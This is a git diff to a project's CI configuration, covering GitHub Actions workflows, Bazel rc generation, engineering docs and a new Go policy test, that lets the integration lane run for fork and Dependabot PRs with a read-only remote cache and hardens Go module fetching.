b/.github/actions/setup-bazel/write-bazelrc.sh @@ -98,6 +98,18 @@ umask 077 # The repo contents cache (default: under the repository cache, so in # the runner cache) holds extracted repos Bazel never re-verifies; off. echo "common --repo_contents_cache=" + # Every mode fetches external repositories on the runner. gazelle's + # go_repository fetches Go modules with the go command (fetch_repo), not + # Bazel's downloader, and the go command never retries: one TLS + # handshake timeout against proxy.golang.org failed a whole lane. With + # "|" the go command moves to the next entry on any error (a "," + # list only on 404/410): the proxy twice, then the module's origin. + # fetch_repo checks every module against its go.sum hash whatever the + # source. Key neutral: repository fetching only, no action reads it. + echo "common --repo_env=GOPROXY=https://proxy.golang.org|https://proxy.golang.org|direct" + # Bazel's own downloader (the Go SDK, http_archive) already retries; + # give slow TLS handshakes and reads twice the default timeouts. + echo "common --http_timeout_scaling=2.0" } >"$rc" # write_pem DEST VALUE: decode base64 (or accept raw PEM) and check it is PEM. diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh index 9de55d432..ffb34d6d4 100755 --- a/.github/scripts/bazel-gate.sh +++ b/.github/scripts/bazel-gate.sh @@ -7,9 +7,12 @@ # bazel-gate.sh skips the Bazel gate ids whose job is skipped by design # in this mode, for CI_GATE_SKIPPED_OK: # skip: every lane and the aggregate (BAZEL) -# local, cache: the remote-only BAZEL_EMBEDDED, -# BAZEL_INTEGRATION, BAZEL_PROXIED, -# BAZEL_SERVER_STORAGE +# local: the remote-only BAZEL_EMBEDDED, +# BAZEL_PROXIED, BAZEL_SERVER_STORAGE, +# and BAZEL_INTEGRATION +# cache: BAZEL_EMBEDDED, BAZEL_PROXIED, +# BAZEL_SERVER_STORAGE (integration +# runs with the read-only cache) # remote: none # bazel-gate.sh aggregate the value to gate on for BAZEL: the call's # aggregate result, or, when the mode is missing @@ -38,7 +41,8 @@ case "${1:-}" in if [[ "$valid" == true ]]; then case "$mode" in skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; - local | cache) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + local) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + cache) skips+=(BAZEL_EMBEDDED BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; esac fi echo "${skips[*]-}" diff --git a/.github/workflows/bazel-farm.yml b/.github/workflows/bazel-farm.yml index df03ae606..7828c5465 100644 --- a/.github/workflows/bazel-farm.yml +++ b/.github/workflows/bazel-farm.yml @@ -1,8 +1,9 @@ # Bazel lanes on the remote-execution farm for fork PRs by trusted authors. # # Fork PRs get no Actions secrets, so pr.yml's Bazel call runs them locally -# with rbe-west's anonymous read-only cache (mode cache, no remote-only -# lanes). This workflow gives the farm to fork PRs whose +# with rbe-west's anonymous read-only cache (mode cache: no embedded, +# proxied-server or server-storage tier). This workflow gives the farm to +# fork PRs whose # author AND triggering user are on .github/bazel-farm-allowlist.txt (by # numeric user id), by calling bazel.yml from pull_request_target, which has # the secrets. @@ -10,8 +11,8 @@ # ADVISORY. pr.yml is unchanged: every fork PR, listed or not, still runs the # cache-mode Bazel lanes (local execution, read-only cache) inside the # enforced `CI Gate / Required`. This run adds a fast remote signal, -# including the remote-only embedded, integration, proxied-server and -# server-storage tiers, that no required check and no privileged workflow +# including the remote-only embedded, proxied-server and server-storage +# tiers, that no required check and no privileged workflow # reads. Making it authoritative needs a trusted reporter; see # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Trusted-author fork PRs". # diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index ed84717f2..6cf4a3b54 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -31,10 +31,12 @@ # gate. bazel-integration runs in the PR call (pr.yml passes integration: # "on") although its legacy counterparts, main.yml's integration jobs, run # only on push to main: remotely it is minutes, and it catches on the PR what -# main.yml would catch after the merge. Like every remote-only lane it skips -# for fork and Dependabot PRs (mode cache: the read-only cache speeds up -# local execution, it does not run the remote-only lanes). Direct runs (push -# to main, workflow_dispatch, nightly.yml's call) gate nothing. +# main.yml would catch after the merge. Unlike the remote-only lanes it also +# runs for fork and Dependabot PRs (mode cache): with the read-only cache +# only what the PR changed is built and tested on the runner, and it is +# their only PR-time integration run (no legacy job runs it on PRs). Mode +# local (rbe=off) still skips it. Direct runs (push to main, +# workflow_dispatch, nightly.yml's call) gate nothing. # # Execution mode, decided once by the rbe job (every other job needs it and # reads its outputs; none re-derives the condition) and passed to @@ -48,14 +50,16 @@ # cache: fork PRs (unless bazel-farm.yml authorized them), rbe=cache # dispatches and same-repo runs without the secret (Dependabot PRs: # same-repo, but no Actions secrets): like local (ubuntu-latest, -# remote-only jobs skipped), plus rbe-west's anonymous read-only cache -# (.bazelrc --config=fork-cache): hits for every action trusted CI -# already executed, no credentials, no uploads. The farm can close it at -# any time; Bazel then runs everything locally. +# bazel-embedded, bazel-proxied and bazel-server-storage skipped), plus +# rbe-west's anonymous read-only cache (.bazelrc --config=fork-cache): +# hits for every action trusted CI already executed, no credentials, no +# uploads; and bazel-integration runs too (a warm run hits all but what +# the PR changed). The farm can close the cache at any time; Bazel then +# runs everything locally. # local: rbe=off dispatches (fork simulation without the cache): local # execution on ubuntu-latest, slower but the same results, for every job -# but the remote-only ones (bazel-embedded, bazel-integration, -# bazel-proxied, bazel-server-storage), which are skipped. +# but the remote-only ones (bazel-embedded, bazel-proxied, +# bazel-server-storage) and bazel-integration, which are skipped. # skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch), # and authorized fork-farm runs without it or without the secret. # Trusted-author fork PRs: bazel-farm.yml (pull_request_target, advisory) @@ -202,7 +206,7 @@ on: description: "'true' when the lanes executed remotely on rbe-west, else 'false'" value: ${{ jobs.rbe.outputs.enabled }} rbe-mode: - description: "remote, cache or local (no remote-only jobs), or skip (no jobs): the rbe job's decision" + description: "remote, cache (no remote-only jobs but integration), local (no remote-only jobs), or skip (no jobs): the rbe job's decision" value: ${{ jobs.rbe.outputs.mode }} bazel-test: description: "bazel-test's job.status" @@ -822,15 +826,17 @@ jobs: # on same-repo PRs; see the header. bazel-integration: name: integration - # Remote execution only, like bazel-embedded: locally the tagged race - # build of //... plus 14 jobs' worth of tests on one runner is well over - # the timeout, for tests main.yml's integration jobs already run. A - # caller may turn it off with integration: "off"; pr.yml and + # Remote, or local with the read-only cache (mode cache: fork and + # Dependabot PRs, rbe=cache dispatches), which serves every action + # trusted CI already ran, so only what the PR changed builds and tests + # on the GitHub-hosted runner. Never plain local (rbe=off): the tagged + # race build of //... plus 14 jobs' worth of tests on one runner, cold. + # A caller may turn it off with integration: "off"; pr.yml and # bazel-farm.yml pass "on". needs: rbe runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }} - timeout-minutes: 55 + if: ${{ (needs.rbe.outputs.mode == 'remote' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }} + timeout-minutes: 85 outputs: result: ${{ steps.result.outputs.result }} steps: @@ -857,10 +863,15 @@ jobs: # Remote: a cold compile (a PR touching a widely imported package; the # first cold run took 17 minutes end to end, warm ones ~3.5) plus the # longest test action (1200s cap, see .bazelrc) if it starts last. - # scripts/ci_workflow_test.go keeps this at or above that sum. + # scripts/ci_workflow_test.go keeps this at or above that sum. Mode + # cache on a 4-CPU runner (simulated, 2026-10-02): ~2.5 minutes warm, + # 3-5 for a cmd/bd change, plus up to ~11 more when slow blob reads + # make Bazel restart the build ("Lost inputs"), and ~30 with the cache + # closed (the farm's kill switch: everything local, cold), which must + # still fit so closing the cache does not turn fork PRs red. - name: bazel test //... --config=integration id: test - timeout-minutes: 45 + timeout-minutes: 75 run: | set -o pipefail start=$(date +%s) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index da5120ab3..a6f3e55c8 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1965,11 +1965,12 @@ jobs: # remotely and passed. bazel.yml has no pull_request/merge_group trigger # of its own: this call is its only PR run. It gets the four RBE secrets # and nothing else; its rbe job decides remote, cache (forks, Dependabot: - # local execution with the anonymous read-only cache, no remote-only - # lanes) or skip, and exports that for ci-gate. Its bazel-integration lane - # (main.yml's integration jobs, which run only on push to main) is on and - # required here, remote only: same-repo PRs run it, fork and Dependabot PRs - # (mode cache) skip it. Its bd artifact is renamed + # local execution with the anonymous read-only cache, no embedded, + # proxied or server-storage lane) or skip, and exports that for ci-gate. + # Its bazel-integration lane (main.yml's integration jobs, which run only + # on push to main) is on and required here in modes remote and cache: + # same-repo PRs run it remotely, fork and Dependabot PRs locally with the + # read-only cache. Its bd artifact is renamed # (bazel-ci-build-artifacts) so it cannot collide with build-artifacts' # upload; the package gates take it where build-artifacts stands down. bazel: @@ -2177,9 +2178,10 @@ jobs: skipped_ok="CHECK_NO_BEADS_CHANGES" fi # Bazel lanes skipped by design in the call's execution mode (all - # of them in mode skip, the remote-only embedded, integration, - # proxied and server-storage tiers in modes local and cache), and - # the aggregate unless the mode is missing or invalid. + # of them in mode skip, the remote-only embedded, proxied and + # server-storage tiers in modes local and cache, and integration + # in mode local), and the aggregate unless the mode is missing or + # invalid. skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 213909bc2..abbcba763 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -56,26 +56,28 @@ Current PR-related workflow names: and `BAZEL_DOLTSERVER` run in their place (see [Legacy Tier Retirement](#legacy-tier-retirement-d2)). `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable - or the fork flag: mode `skip` allows every Bazel id to skip, modes `local` - and `cache` allow only the remote-only `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, - `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on - `pr-risk.yml`'s legacy tiers for the embedded, proxied and server-storage - tiers), and mode `remote` allows none. + or the fork flag: mode `skip` allows every Bazel id to skip, mode `cache` + allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and + `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s + legacy tiers for them), mode `local` (`rbe=off` dispatches) those and + `BAZEL_INTEGRATION`, and mode `remote` allows none. A lane that should run and fails, is cancelled, or reports no result fails the gate, and so does a missing or invalid mode. `bazel-integration` (`bazel test //... --config=integration`, the Bazel - twin of `main.yml`'s Linux integration shards) is required on same-repo - PRs: `pr.yml` passes `integration: "on"` (policy-pinned), so in mode - `remote` it runs, and a failure, cancellation or missing result turns the - gate red. Its legacy twins still run only on push to `main`, so this lane - is the only PR-time run of the full integration-tagged suite. Fork and - Dependabot PRs (mode `cache`) skip it, with no legacy fallback on the PR: - they get integration coverage only after merge, from `main.yml`. Running it - for forks, now that they have the read-only cache, means making the lane - cache-capable in `bazel.yml` and dropping `BAZEL_INTEGRATION` from - `bazel-gate.sh`'s mode-`cache` skips. Its step - timeout (45 minutes) covers a cold compile plus the 1200 s per-action cap - (policy-tested against `.bazelrc`); warm runs take about 3.5 minutes. + twin of `main.yml`'s Linux integration shards) is required on every PR: + `pr.yml` passes `integration: "on"` (policy-pinned), so it runs in mode + `remote` (same-repo PRs) and in mode `cache` (fork and Dependabot PRs, + locally on the GitHub-hosted runner with the read-only cache), and a + failure, cancellation or missing result turns the gate red. Its legacy + twins still run only on push to `main`, so this lane is the only PR-time + run of the full integration-tagged suite. In mode `cache` every action + trusted CI already ran is a cache hit, so the runner builds and tests only + what the PR changed. Simulated on a 4-CPU runner (2026-10-02): about 2.5 + minutes warm, 3 to 5 for a `cmd/bd` change, and about 30 with the cache + closed. Its step timeout (75 minutes) covers that cold local run with + room to spare, and so also a remote cold compile plus the 1200 s + per-action cap (both policy-tested). Mode `local` (`rbe=off`) still + skips it. `scripts/ci_workflow_test.go` fails when a new `bazel.yml` job has neither a gate id nor an advisory entry. Runbook: if `main`'s Bazel BUILD files drift (every PR's Bazel lanes go @@ -94,15 +96,36 @@ Current PR-related workflow names: flag is still `"true"` turns `CI Gate / Required` red on every same-repo PR (`BAZEL_EMBEDDED_RETIRED`, `BAZEL_DOLT_SERVER_RETIRED`, `BAZEL_PR_LANES_RETIRED`), because the legacy tiers no longer run for - them. If rbe-west closes the read-only cache, fork runs - fall back to executing everything locally (slower, still green). If it + them. If rbe-west closes the read-only cache (the farm's kill switch; the + client has none), fork runs fall back to executing everything locally + (slower, still green; `bazel-integration` then takes about 30 minutes). If it is slow rather than closed, each lookup gives up after `fork-cache`'s 15 s `--remote_timeout` (times its retries), and Bazel's failure circuit breaker (`--experimental_circuit_breaker_strategy=failure`) stops calling it once too many lookups fail (by default 10% within 60 s); the remaining actions run locally. Lookups that time out before the breaker trips still cost up to that timeout each, so a slow endpoint slows fork runs until it - trips. + trips. The timeout also bounds each ByteStream read: a large blob the + farm serves slowly (a cold read from its slow store) times out, and + Bazel resumes it from the offset reached, but every timeout counts toward + the breaker. Enough of them open it, the outputs still to be downloaded + are then "Lost inputs", and Bazel restarts the build once + (`Found transient remote cache error, retrying the build`). The restart + hits the cache again and stays green, at the cost of several minutes + (about 11 in one simulation). + The anonymous endpoint refuses `FindMissingBlobs`, like every write. A + cache-only client never calls it: Bazel uses it only to upload, either + inputs before remote execution or results, and mode `cache` has no + executor and `--noremote_upload_local_results`. A local probe of + `--config=fork-cache` must therefore not inherit a user rc that sets + `--remote_executor`. If it does, every cache miss fails with + `PERMISSION_DENIED ... method not allowed`. + Every mode's generated rc also hardens repository fetching, which always + runs on the runner. `GOPROXY` falls back on any error (`|`), first to + `proxy.golang.org` again and then to the module's origin; gazelle's + `go_repository` fetches modules with the go command, which never retries. + `--http_timeout_scaling=2.0` doubles the timeouts of Bazel's own + downloader. Both are key neutral. - `.github/workflows/bazel-farm.yml`: `Bazel Farm (trusted forks)` Runs on `pull_request_target` for fork PRs to `main` whose author and triggering user are on `.github/bazel-farm-allowlist.txt`, and calls @@ -154,8 +177,8 @@ enforced there. ## Trusted-Author Fork PRs (Bazel Farm) Fork PRs get no Actions secrets, so `pr.yml`'s Bazel call runs them in mode -`cache` (local execution with the anonymous read-only cache, no remote-only -lanes, slower). `bazel-farm.yml` gives the +`cache` (local execution with the anonymous read-only cache, slower; the +remote-only embedded, proxied-server and server-storage tiers skip). `bazel-farm.yml` gives the remote-execution farm to fork PRs from an allowlist of trusted authors (`.github/bazel-farm-allowlist.txt`: the numeric user ids of the same four people as gascity's `.github/blacksmith-allowlist.txt`). Everyone else's @@ -210,7 +233,7 @@ fork PRs are unchanged. - Gate: advisory. `pr.yml` is unchanged. Every fork PR, listed or not, still runs the local Bazel lanes inside the enforced `CI Gate / Required`, and the farm run adds a faster signal that also covers the remote-only - embedded, integration, proxied-server and server-storage tiers. + embedded, proxied-server and server-storage tiers. - Policy tests: `scripts/bazel_farm_workflow_test.go` pins the trigger, both jobs' conditions, the allowlist source, the pinned checkout, the permissions, where secrets appear, and that no expression is interpolated @@ -792,7 +815,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `github.actor` is not `dependabot[bot]`, for each step whose flag is `"true"`. The executor secret is deliberately not part of the decision: a same-repo PR whose run lacks it (secret deleted or emptied) is still - covered, takes Bazel mode `cache` (no remote-only lanes) and so turns + covered, takes Bazel mode `cache` (no embedded, proxied or server-storage + lane) and so turns `CI Gate / Required` red, instead of quietly moving back to a legacy tier that one of its runs may already have skipped. - Everyone else keeps the legacy tiers unchanged: diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index f0182cb17..a999e1406 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -18,6 +18,7 @@ go_test( name = "scripts_test", srcs = [ "bazel_autofix_push_test.go", + "bazel_cache_mode_test.go", "bazel_farm_workflow_test.go", "bazel_policy_test.go", "bazel_skip_allowlist_test.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go new file mode 100644 index 000000000..d1fb08dcb --- /dev/null +++ b/scripts/bazel_cache_mode_test.go @@ -0,0 +1,268 @@ +package scripts_test + +import ( + "encoding/base64" + "os" + "os/exec" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" +) + +// Mode cache, end to end, for every way a bazel.yml run can start: the rbe +// job's real decision step, each lane's `if:` and setup-bazel env (GitHub's +// expressions, evaluated) and the rc write-bazelrc.sh then writes. A cache +// run (fork and Dependabot PRs, rbe=cache, a missing executor secret) must +// reach the rc with --config=fork-cache and nothing else remote: no +// executor, no TLS material, no instance, no upload. That holds even where +// the run could read the secrets (an rbe=cache dispatch on the base repo, +// and, adversarially, a fork PR whose secrets GitHub would never pass). Its +// lanes are the local ones plus bazel-integration; the remote-only tiers +// skip, and pr.yml's gate (bazel-gate.sh) accepts exactly those skips. +func TestBazelCacheModeReachesTheRC(t *testing.T) { + bash := requireHostTool(t, "bash") + root := sourceRepoRoot(t) + workflow := readCIWorkflow(t, bazelWorkflowName) + decide := workflow.job(t, bazelRBEJobName).Steps[0] + script := filepath.Join(root, setupBazelActionDir, "write-bazelrc.sh") + + pem := func(kind string) string { + return base64.StdEncoding.EncodeToString([]byte("-----BEGIN " + kind + "-----\nMIIBfake\n-----END " + kind + "-----\n")) + } + secrets := map[string]string{ + "RBE_WEST_EXECUTOR": "grpcs://" + "farm.invalid:443", + "RBE_TLS_CERT": pem("CERTIFICATE"), + "RBE_TLS_KEY": pem("PRIVATE KEY"), + "RBE_TLS_CA": pem("CERTIFICATE"), + } + + // setup-bazel's env values: `needs.rbe.outputs.X == 'v' && RHS || ''`, + // RHS a secret or a literal. Anything else fails the test, so the + // simulation cannot drift from the workflow. + setupExpr := regexp.MustCompile(`^\$\{\{ needs\.rbe\.outputs\.(enabled|mode) == '([a-z]+)' && (?:secrets\.([A-Z_]+)|'([^']*)') \|\| '' \}\}$`) + evalSetup := func(t *testing.T, expr, mode, enabled string, haveSecrets bool) string { + t.Helper() + m := setupExpr.FindStringSubmatch(expr) + if m == nil { + t.Fatalf("setup-bazel env %q: teach TestBazelCacheModeReachesTheRC how GitHub evaluates it", expr) + } + got := map[string]string{"enabled": enabled, "mode": mode}[m[1]] + if !strings.EqualFold(got, m[2]) { + return "" + } + if m[3] != "" { + if !haveSecrets { + return "" + } + v, ok := secrets[m[3]] + if !ok { + t.Fatalf("setup-bazel env reads secrets.%s, which no caller passes", m[3]) + } + return v + } + return m[4] + } + + writeRC := func(t *testing.T, env map[string]string) (outputs, rc string, files []string, logs string, err error) { + t.Helper() + dir := t.TempDir() + ws := filepath.Join(dir, "ws") + if err := os.MkdirAll(ws, 0o755); err != nil { + t.Fatal(err) + } + secretDir := filepath.Join(dir, "secret") + cmd := exec.Command(bash, script) + cmd.Dir = ws + cmd.Env = []string{ + "PATH=" + os.Getenv("PATH"), + "GITHUB_WORKSPACE=" + ws, + "GITHUB_OUTPUT=" + filepath.Join(dir, "out"), + "BAZEL_CI_CACHE_DIR=" + filepath.Join(dir, "cache"), + "BAZEL_CI_SECRET_DIR=" + secretDir, + } + for k, v := range env { + cmd.Env = append(cmd.Env, k+"="+v) + } + b, err := cmd.CombinedOutput() + o, _ := os.ReadFile(filepath.Join(dir, "out")) + r, _ := os.ReadFile(filepath.Join(secretDir, "ci.bazelrc")) + entries, _ := os.ReadDir(secretDir) + for _, e := range entries { + files = append(files, e.Name()) + } + return string(o), string(r), files, string(b), err + } + + type start struct { + name string + f rbeFacts + with map[string]string + secret bool // the run can read the RBE secrets + } + var starts []start + farm := map[string]string{"fork-farm": "authorized", "checkout-sha": "0123456789abcdef0123456789abcdef01234567"} + for _, rbeVar := range []string{"true", ""} { + v := "var=" + map[bool]string{true: "on", false: "unset"}[rbeVar != ""] + pr := func(fork, dependabot bool, secret bool) rbeFacts { + s := "" + if secret { + s = "x" + } + return rbeFacts{event: "pull_request", rbeVar: rbeVar, secret: s, fork: fork, dependabot: dependabot} + } + starts = append(starts, + start{"same-repo PR, " + v, pr(false, false, true), nil, true}, + start{"same-repo PR without the secret, " + v, pr(false, false, false), nil, false}, + start{"Dependabot PR, " + v, pr(false, true, false), nil, false}, + start{"fork PR, " + v, pr(true, false, false), nil, false}, + start{"fork PR that somehow has the secrets, " + v, pr(true, false, true), nil, true}, + start{"fork PR passing fork-farm from pull_request, " + v, pr(true, false, true), farm, true}, + start{"push to main, " + v, rbeFacts{event: "push", rbeVar: rbeVar, secret: "x"}, nil, true}, + start{"dispatch rbe=cache, " + v, rbeFacts{event: "workflow_dispatch", rbeVar: rbeVar, secret: "x"}, map[string]string{"rbe": "cache"}, true}, + start{"dispatch rbe=off, " + v, rbeFacts{event: "workflow_dispatch", rbeVar: rbeVar, secret: "x"}, map[string]string{"rbe": "off"}, true}, + start{"bazel-farm authorized fork, " + v, rbeFacts{event: "pull_request_target", rbeVar: rbeVar, secret: "x", fork: true}, farm, true}, + start{"bazel-farm authorized fork without the secret, " + v, rbeFacts{event: "pull_request_target", rbeVar: rbeVar, fork: true}, farm, false}, + ) + } + + seen := map[string]bool{} + for _, s := range starts { + t.Run(s.name, func(t *testing.T) { + out, err := runDecisionStep(t, decide, s.f, s.with) + if err != nil { + t.Fatal(err) + } + mode, enabled := out["mode"], out["enabled"] + seen[mode] = true + // Forks outside bazel-farm.yml's authorized call and rbe=cache + // are mode cache whatever else holds; Dependabot (no secrets) + // too unless the farm switch is off (mode skip). + authorized := s.f.event == "pull_request_target" && s.with["fork-farm"] == "authorized" + dependabot := s.f.dependabot && s.f.rbeVar == "true" + if s.with["rbe"] != "off" && !authorized && (s.f.fork || dependabot || s.with["rbe"] == "cache") && mode != "cache" { + t.Errorf("mode = %s, want cache", mode) + } + if mode == "remote" && (!s.secret || s.f.fork && !authorized) { + t.Errorf("mode remote without the secret or for an unauthorized fork") + } + + var lanes []string + for name, job := range workflow.Jobs { + if name == bazelRBEJobName { + continue + } + runs := bazelLaneRunModes(t, name, job.If, s.with)[mode] + switch { + case mode == "cache" && name == bazelIntegJobName && !runs: + t.Errorf("%s does not run in mode cache", name) + case mode == "cache" && bazelRemoteOnlyJobs[name] && runs: + t.Errorf("remote-only %s runs in mode cache", name) + case mode == "local" && name == bazelIntegJobName && runs: + t.Errorf("%s runs in mode local (no cache: a cold tagged race build)", name) + } + if !runs { + continue + } + lanes = append(lanes, name) + for _, step := range job.Steps { + if step.Uses != "./"+setupBazelActionDir { + continue + } + env := map[string]string{} + for k, expr := range step.Env { + env[k] = evalSetup(t, expr, mode, enabled, s.secret) + } + outputs, rc, files, logs, err := writeRC(t, env) + if err != nil { + t.Fatalf("%s: write-bazelrc.sh failed in mode %s: %v\n%s", name, mode, err, logs) + } + checkModeRC(t, name, mode, outputs, rc, files, logs) + } + } + if mode == "skip" && len(lanes) != 0 { + t.Errorf("mode skip runs %v", lanes) + } + // pr.yml's gate accepts as skipped exactly the gated lanes that + // did not run (TestBazelGateSimulation runs the gate itself). + ran := map[string]bool{} + for _, l := range lanes { + ran[l] = true + } + var wantSkips []string + for lane, id := range bazelLaneGateIDs { + if !ran[lane] { + wantSkips = append(wantSkips, id) + } + } + if len(lanes) == 0 { + wantSkips = append(wantSkips, bazelAggregateGateID) + } + cmd := exec.Command(bash, bazelGateScript, "skips") + cmd.Dir = root + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=" + mode, "BAZEL_RBE_ENABLED=" + enabled} + b, err := cmd.Output() + if err != nil { + t.Fatal(err) + } + got := strings.Fields(string(b)) + sort.Strings(got) + sort.Strings(wantSkips) + if strings.Join(got, " ") != strings.Join(wantSkips, " ") { + t.Errorf("mode %s: gate skips %v, want %v (lanes run: %v)", mode, got, wantSkips, lanes) + } + }) + } + for _, mode := range bazelRBEModes { + if !seen[mode] { + t.Errorf("no start reaches mode %s", mode) + } + } +} + +// checkModeRC: what one lane's generated rc may hold in its mode. +func checkModeRC(t *testing.T, lane, mode, outputs, rc string, files []string, logs string) { + t.Helper() + has := func(s string) bool { return strings.Contains(rc, s) } + // Every mode: the fetch hardening (key neutral, repository fetching only). + for _, want := range []string{ + "\ncommon --repo_env=GOPROXY=https://proxy.golang.org|https://proxy.golang.org|direct\n", + "\ncommon --http_timeout_scaling=2.0\n", + } { + if !has(want) { + t.Errorf("%s (mode %s): rc lacks %q:\n%s", lane, mode, strings.TrimSpace(want), rc) + } + } + credentialFree := func() { + for _, bad := range []string{"remote_executor", "remote-exec", "tls_", "remote_instance_name", "--remote_upload_local_results", "--remote_cache", "--remote_header", "--bes_", "farm.invalid"} { + if has(bad) { + t.Errorf("%s (mode %s): rc carries %q:\n%s", lane, mode, bad, rc) + } + } + if len(files) != 1 || files[0] != "ci.bazelrc" { + t.Errorf("%s (mode %s): secret dir holds %v, want only ci.bazelrc (no key material)", lane, mode, files) + } + if strings.Contains(logs, "::add-mask::") { + t.Errorf("%s (mode %s): masked something, so it saw a secret:\n%s", lane, mode, logs) + } + } + switch mode { + case "cache": + credentialFree() + if !has("\nbuild --config=fork-cache\n") || !strings.Contains(outputs, "remote=false") || !strings.Contains(outputs, "cache=true") { + t.Errorf("%s (mode cache): outputs %q rc %q; want --config=fork-cache, remote=false, cache=true", lane, outputs, rc) + } + case "local": + credentialFree() + if has("fork-cache") || !strings.Contains(outputs, "cache=false") { + t.Errorf("%s (mode local): outputs %q rc %q; want neither cache nor remote", lane, outputs, rc) + } + case "remote": + if !has("\nbuild --config=remote-exec\n") || has("fork-cache") || !strings.Contains(outputs, "remote=true") { + t.Errorf("%s (mode remote): outputs %q rc %q; want remote-exec and no fork-cache", lane, outputs, rc) + } + default: + t.Errorf("%s runs in mode %q", lane, mode) + } +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 747a6e38e..b304f5e85 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1791,8 +1791,9 @@ const ( var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelRBEJobName} // The lanes that only run remotely (skipped unless the rbe job chose remote); +// bazel-integration runs remotely or with the read-only cache (bazelIntegIf); // every other lane also runs locally. -var bazelRemoteOnlyJobs = map[string]bool{bazelEmbedJobName: true, bazelIntegJobName: true, bazelProxiedJobName: true, bazelServerJobName: true} +var bazelRemoteOnlyJobs = map[string]bool{bazelEmbedJobName: true, bazelProxiedJobName: true, bazelServerJobName: true} // The rbe job's decision step reads exactly one secret, and only to test it // for emptiness: its env value is a boolean, not the secret. @@ -1821,10 +1822,9 @@ var bazelLaneGateIDs = map[string]string{ // pr-risk.yml's legacy jobs, like the embedded tier's). bazelProxiedJobName: "BAZEL_PROXIED", bazelServerJobName: "BAZEL_SERVER_STORAGE", - // main.yml's integration jobs, required on same-repo PRs although their - // legacy twins run only on push to main. Remote-only: fork and - // Dependabot PRs skip it until the farm has a read-only cache for them - // (then it becomes local-capable for forks, here and in bazel-gate.sh). + // main.yml's integration jobs, required on PRs although their legacy + // twins run only on push to main: remotely on same-repo PRs, locally + // with the read-only cache (mode cache) on fork and Dependabot PRs. bazelIntegJobName: "BAZEL_INTEGRATION", } @@ -1832,11 +1832,14 @@ var bazelLaneGateIDs = map[string]string{ // turns off has a place to record why. var bazelAdvisoryLanes = map[string]string{} -// bazel-integration's if: remote only, and off when a caller passes -// integration: "off" (pr.yml and bazel-farm.yml pass "on"). A string input: -// on push and dispatch it is null, and null != 'off', so the lane keeps -// running on main. -const bazelIntegIf = "${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }}" +// bazel-integration's if: remote, or local with the read-only cache (mode +// cache: fork and Dependabot PRs, whose only PR-time integration run it is; +// a warm run builds and tests only what the PR changed), never plain local +// (rbe=off: a cold tagged race build of //... on one runner); and off when a +// caller passes integration: "off" (pr.yml and bazel-farm.yml pass "on"). A +// string input: on push and dispatch it is null, and null != 'off', so the +// lane keeps running on main. +const bazelIntegIf = "${{ (needs.rbe.outputs.mode == 'remote' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }}" // pr.yml's call of bazel.yml: exactly these inputs (review D1 v2 N3). An rbe // override would put every PR in local mode and ungate the embedded tier @@ -2287,7 +2290,7 @@ func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string if strings.EqualFold(with["integration"], "off") { return map[string]bool{} } - return map[string]bool{"remote": true} + return map[string]bool{"remote": true, "cache": true} } t.Fatalf("%s if = %q: teach bazelLaneRunModes which modes run it", lane, ifExpr) return nil @@ -3123,9 +3126,16 @@ func TestBazelIntegrationJob(t *testing.T) { // A required PR lane: the step must fit a cold compile (the first // GitHub run took 17 minutes end to end) followed by the longest test // action, which .bazelrc caps at its test:integration --test_timeout - // (rbe-west's 1200s limit). The job adds setup and log upload, but - // stays remote-only short. + // (rbe-west's 1200s limit). The job adds setup and log upload. In mode + // cache it runs on a 4-CPU GitHub-hosted runner, and with the read-only + // cache closed (the farm's kill switch) the whole suite builds and runs + // there cold, about 30 minutes simulated: the step keeps twice that. const coldCompileMinutes = 20 + const cacheClosedMinutes = 30 + if test.TimeoutMinutes < 2*cacheClosedMinutes { + t.Errorf("%s test step 